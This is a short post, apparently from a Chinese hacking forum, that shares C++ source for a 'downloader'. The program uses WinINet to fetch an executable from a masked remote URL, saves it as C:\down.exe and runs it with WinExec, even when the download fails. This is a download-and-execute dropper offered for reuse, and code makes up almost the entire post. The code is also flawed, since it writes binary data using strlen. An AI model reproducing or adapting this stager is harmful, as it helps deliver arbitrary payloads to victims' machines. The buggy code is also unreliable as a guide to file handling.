C++语言版下载者代码分享。本人才疏学浅，抛砖引玉，欢迎大牛指导。

#include <stdio.h>
#include<windows.h>
#include<wininet.h>
#include <string.h>
#pragma comment(lib,"wininet.lib")   
#define MAX_SIZE    255
#define DOWN_OK     100
#define DOWN_ERROR  101
#define THREADOK    102
#define THREADERROR 103
#define THREADQUIT  104
#define FILEERROR   105
#define KBYTES      1024
#define StoredFilePath  "C:\\down.exe"
#define TargetURL   "http://***********//file.exe"

DWORD dwRequestedFilelength=0;
DWORD dwWritedFileLength=0;
DWORD dwWritedBytes=0;
char buffer[KBYTES*10];
char chResourceUrl[MAX_SIZE];
DWORD dwReadBytes;
BOOL  bWriteResult;
BOOL  bInternetResult;

HANDLE hOpenFile;
HINTERNET hMyInternet;
HINTERNET hOpenUrlInternet;
DWORD ProcDownload()
{
	//initiate wininet library
	hMyInternet=InternetOpen("DOWNLOADER",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
	if (hMyInternet==NULL)
	{
		printf("Initiate an application's use of the WinINet functions fails\n");
		return THREADQUIT;
	}
	//Estiblish  URL  Session 
	hOpenUrlInternet=InternetOpenUrl(hMyInternet,TargetURL,NULL,0,INTERNET_FLAG_RELOAD,0);
	if (hOpenUrlInternet==NULL)
	{
		printf("the connection is successfully fails\n");
		return THREADQUIT;
	}
	//create file and stored data
	hOpenFile=CreateFile(StoredFilePath,GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
	if (hOpenFile==INVALID_HANDLE_VALUE)
	{
		printf("Create Starget File  Fails\n");
		return FILEERROR;
	}
	while(TRUE)//read buffer stream from internet 
	{
		bInternetResult=InternetReadFile(hOpenUrlInternet,buffer,sizeof(buffer),&dwReadBytes);
		if (dwReadBytes==0)
			break;
		
		bWriteResult=WriteFile(hOpenFile,buffer,strlen(buffer),&dwWritedBytes,NULL);
		if (bWriteResult!=0)
		{   dwRequestedFilelength+=dwReadBytes;
			dwWritedFileLength+=dwWritedBytes;
		}
		dwReadBytes=0;
		dwWritedBytes=0;
	}
	if(dwWritedFileLength!=dwRequestedFilelength)
	{
        printf("some data is  missing\n");
		DeleteFile(StoredFilePath);
		return DOWN_ERROR;
	}
	printf("The Total File Size is :%d bytes\n",dwWritedFileLength);
	InternetCloseHandle(hMyInternet);
	InternetCloseHandle(hOpenUrlInternet);
	CloseHandle(hOpenFile);
	 return DOWN_OK;
}

int main(void)
{
	memset(buffer,0,sizeof(buffer));
	memset(chResourceUrl,0,sizeof(chResourceUrl));
	strcpy(chResourceUrl,TargetURL);
	DWORD dwResult=ProcDownload();
	if(dwResult==DOWN_OK)
	printf("download finish success\n");
	else
	printf("download finish fails\n");
        WinExec("c:\\down.exe",SW_SHOW);
	system("pause");
	return DOWN_OK;
}